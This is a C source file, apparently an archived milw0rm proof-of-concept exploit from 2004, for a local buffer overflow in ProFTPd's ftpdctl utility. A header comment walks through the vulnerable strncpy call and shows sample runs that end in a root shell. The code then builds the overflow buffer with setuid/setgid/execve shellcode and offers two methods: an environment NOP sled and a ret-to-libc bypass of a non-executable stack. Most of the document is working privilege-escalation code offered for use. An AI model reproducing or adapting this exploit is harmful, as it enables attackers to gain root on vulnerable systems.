329 lines
No EOL
8.7 KiB
C
329 lines
No EOL
8.7 KiB
C
/*
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* This is simple local exploit (Proof of Concept?) for local bug in ProFTPd
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* not in default options (must be configured with option --enable-ctrls).
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* Bug exist in func
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tion pr_ctrls_connect() in file "src/ctrls.c", look:
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*
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* "src/ctrls.c"
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* int pr_ctrls_connect(const char *socket_file) {
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* ...
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* struct sockaddr_un cl_sock, ctrl_sock;
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*
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* ...
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* ...
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* memset(&ctrl_sock, 0, sizeof(ctrl_sock));
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* ...
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* ...
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* strncpy(ctrl_sock.sun_path, socket_file, strlen(socket_file));
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* ...
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* ...
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* }
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*
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* How we can saw there is bad call for function strncpy(). Now look here
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* how look structure sockaddr_un:
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*
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* "/usr/include/X11/Xos.h"
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* ...
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* ...
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* #define X_NO_SYS_UN 1
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*
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* struct sockaddr_un {
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* short sun_family;
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* char sun_path[108];
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* };
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* #endif
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* ...
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* ...
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*
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* Hm more interesting... but what the fuck is socket_file?
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* Look here:
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*
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* "src/ftpdctl.c"
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* int main(int argc, char *argv[]) {
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* ...
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* char *socket_file = RUN_DIR "/proftpd.sock";
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* ...
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*
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* ...
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* ...
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* while ((optc = getopt(argc, argv, cmdopts)) != -1) {
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* switch (optc) {
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* ...
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* ...
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* case 's':
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* if (*optarg != '/') {
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* fprintf(stderr, "%s: alternate socket path must be an absolute "
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* "path\n", program);
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* return 1;
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* }
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*
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* socket_file = optarg;
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* break;
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* ...
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* ...
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* }
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* ...
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* ...
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* if ((sockfd = pr_ctrls_connect(socket_file)) < 0) {
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* fprintf(stderr, "%s: error contacting server: %s\n", program,
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* strerror(errno));
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* exit(1);
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* }
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* ...
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* ...
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* }
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*
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* Ok... so we can control for strlen(socket_file) - third argument for strncpy()
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* and what bytes will be copy to destiny array sa we can do overflow.
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* Global call to vulnerability function who have bad call for strncpy() is
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* in the same function where we have control with socket_file.
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*
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* Ok know look for how work simple local PoC sploit:
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*
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* root@darkstar:~# ./p
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*
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* ...::: -=[ PoC for ftpdctl by pi3 (pi3ki31ny) ]=- :::...
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*
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* Ussage:
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* [+] ./p [options]
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*
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* -? <this help screen>
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* -s choose a system of sploiting:
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* 1 - sploiting by using environment
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* 2 - PoC bypass non-exec stack (ret-to-libc)
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* -o <offset>
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* -p PATH
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*
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* root@darkstar:~#
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*
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* Let's run some option and look wheter it's work:
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*
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* root@darkstar:~# ./p -s 1
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*
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* ...::: -=[ PoC for ftpdctl by pi3 (pi3ki31ny) ]=- :::...
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*
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* [+] Bulding buffors!
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* [+] Using adres 0xbfffee01
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*
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* Executing the vuln program - /usr/local/bin/ftpdctl
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*
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* sh-2.05# exit
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* exit
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* root@darkstar:~#
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*
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* Ok, this option work good. What about second option?
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*
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* root@darkstar:~# ./p -s 2
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*
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* ...::: -=[ PoC for ftpdctl by pi3 (pi3ki31ny) ]=- :::...
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*
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* [+] Bulding buffors!
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* [+] Using LIBC_SYSTEM adres 0x40096870
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* [+] Using LIBC_NEXT__ adres 0x41414141
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* [+] Using "/BIN/SH" adres 0xbfffee01
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*
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* Executing the vuln program - /usr/local/bin/ftpdctl
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*
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* sh-2.05# exit
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* exit
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* Segmentation fault (core dumped)
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* root@darkstar:~# gdb -q ftpdctl core
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* (no debugging symbols found)...
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* Core was generated by `/usr/local/bin/ftpdctl -s /AAAAAAAAAAAAAAAAAAAAAAAA
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* AAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
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* Program terminated with signal 11, Segmentation fault.
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* Reading symbols from /lib/libcrypt.so.1...done.
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* Loaded symbols for /lib/libcrypt.so.1
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* Reading symbols from /lib/libc.so.6...done.
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* Loaded symbols for /lib/libc.so.6
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* Reading symbols from /lib/ld-linux.so.2...done.
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* Loaded symbols for /lib/ld-linux.so.2
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* #0 0x41414141 in ?? ()
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* (gdb) x/40x 0xbfffee01
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* 0xbfffee01: 0x60606060 0x60606060 0x60606060 0x60606060
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* 0xbfffee11: 0x60606060 0x60606060 0x60606060 0x60606060
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* 0xbfffee21: 0x60606060 0x60606060 0x60606060 0x60606060
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* 0xbfffee31: 0x60606060 0x60606060 0x60606060 0x60606060
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* 0xbfffee41: 0x60606060 0x60606060 0x60606060 0x60606060
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* 0xbfffee51: 0x60606060 0x60606060 0x60606060 0x60606060
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* 0xbfffee61: 0x60606060 0x60606060 0x60606060 0x60606060
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* 0xbfffee71: 0x60606060 0x60606060 0x60606060 0x60606060
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* 0xbfffee81: 0x60606060 0x60606060 0x60606060 0x60606060
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* 0xbfffee91: 0x60606060 0x60606060 0x60606060 0x60606060
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* (gdb) q
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* root@darkstar:~#
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*
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* 0x60 is in ASCII array char '`'.
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*
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* And that's all... Thanks for your expensive time to read this shit.
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*
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* BIG greetz for appelast!
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* Best regards pi3 (pi3ki31ny).
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*
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* ...::: -=[ www.pi3.int.pl ]=- :::...
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#include <getopt.h>
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#define PATH "/usr/local/bin/ftpdctl"
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#define BUFS 229
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#define LIBC_SYSTEM 0x40096870
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#define LIBC_NEXT__ 0x41414141
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/* ...::: -=[ www.pi3.int.pl ]=- :::... */
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char shellcode[] =
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/* write() for stdout - monitor string -=[ www.pi3.int.pl ] =- */
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/*
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"\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68\x3a"
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"\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20\x5d"
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"\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69\x68"
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"\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68\x3a\x3a"
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"\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04\xcd"
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"\x80"
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*/
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/* setuid(0) */
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"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
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/* setgid(0) */
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"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"
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/* exec /bin/sh */
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"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
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"\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
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"\x80"
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/* exit(0) */
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"\x31\xdb\x89\xd8\xb0\x01\xcd\x80";
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long ret_ad(void) {
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//long ret_ad(char *a1, char *a2) {
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// return (0xbffffffa-strlen(a1)-strlen(a2));
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return 0xbfffee01;
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}
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int ussage(char *arg) {
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printf("\n\t...::: -=[ PoC for ftpdctl by pi3 (pi3ki31ny) ]=- :::...\n");
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printf("\n\tUssage:\n\t[+] %s [options]\n
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-? <this help screen>
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-s choose a system of sploiting:
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1 - sploiting by using environment
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2 - PoC bypass non-exec stack (ret-to-libc)
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-o <offset>
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-p PATH\n\n",arg);
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exit(-1);
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}
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int main(int argc, char *argv[]) {
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long ret, *buf_addr;
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static char *sh[0x02];
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char envp[8196], *buf, *path=PATH;
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int i, wybor=0, opt, offset=0;
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FILE *fp;
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while((opt = getopt(argc,argv,"p:o:s:?")) != -1) {
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switch(opt) {
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case 's':
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if (atoi(optarg) > 2 || atoi(optarg) < 1) {
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printf("Stupid!\n");
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exit(-1);
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}
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wybor=atoi(optarg);
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break;
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case 'o':
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offset=atoi(optarg);
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break;
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case 'p':
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path=optarg;
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break;
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case '?':
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default:
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ussage(argv[0]);
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break;
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}
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}
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if ( (fp=fopen(path,"r"))==NULL) {
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printf("\n*\tI can\'t open path to victim! - %s\t*\n\n",path);
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ussage(argv[0]);
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} fclose(fp);
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if (!(buf=(char*)malloc(BUFS))) {
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printf("\nI can\'t locate memory! - buf\n");
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exit(-1);
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}
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if (wybor==0)
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ussage(argv[0]);
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if (wybor==1) {
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printf("\n\t...::: -=[ PoC for ftpdctl by pi3 (pi3ki31ny) ]=- :::...\n");
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printf("\n\t[+] Bulding buffors!\n");
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ret=ret_ad(/*shellcode,path*/)-offset;
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printf("\t[+] Using adres 0x%x\n",ret);
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strcpy(buf,"/A");
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buf_addr=(long*)&buf[2];
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for (i=0x00;i<BUFS-2;i+=0x04) {
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*(buf_addr++) = ret;
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}
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memset(envp,0x90,sizeof(envp));
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for (i=0x00; i<strlen(shellcode); i++)
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envp[8196-strlen(shellcode)+i] = shellcode[i];
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sh[0x00]=envp;
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sh[0x01]=NULL;
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printf("\nExecuting the vuln program - %s\n\n",path);
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execle(path,path,"-s",buf,0,sh);
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} else if (wybor==2) {
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printf("\n\t...::: -=[ PoC for ftpdctl by pi3 (pi3ki31ny) ]=- :::...\n");
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printf("\n\t[+] Bulding buffors!\n");
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printf("\t[+] Using LIBC_SYSTEM adres 0x%x\n",LIBC_SYSTEM);
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printf("\t[+] Using LIBC_NEXT__ adres 0x%x\n",LIBC_NEXT__);
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printf("\t[+] Using \"/BIN/SH\" adres 0x%x\n",ret_ad());
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bzero(buf,sizeof(buf));
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strcpy(buf,"/");
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for (i=0x00;i<225;i++) {
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buf[1+i]=0x41;
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}
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buf_addr=(long*)&buf[226];
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*(buf_addr++) = LIBC_SYSTEM;
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*(buf_addr++) = LIBC_NEXT__;
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*(buf_addr++) = ret_ad();
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memset(envp,'`',sizeof(envp));
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strcpy(&envp[8196-strlen("/bin/sh")-1],"/bin/sh");
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sh[0x00]=envp;
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sh[0x01]=NULL;
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printf("\nExecuting the vuln program - %s\n\n",path);
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execle(path,path,"-s",buf,0,sh);
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}
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return 0;
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}
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// milw0rm.com [2004-08-13]
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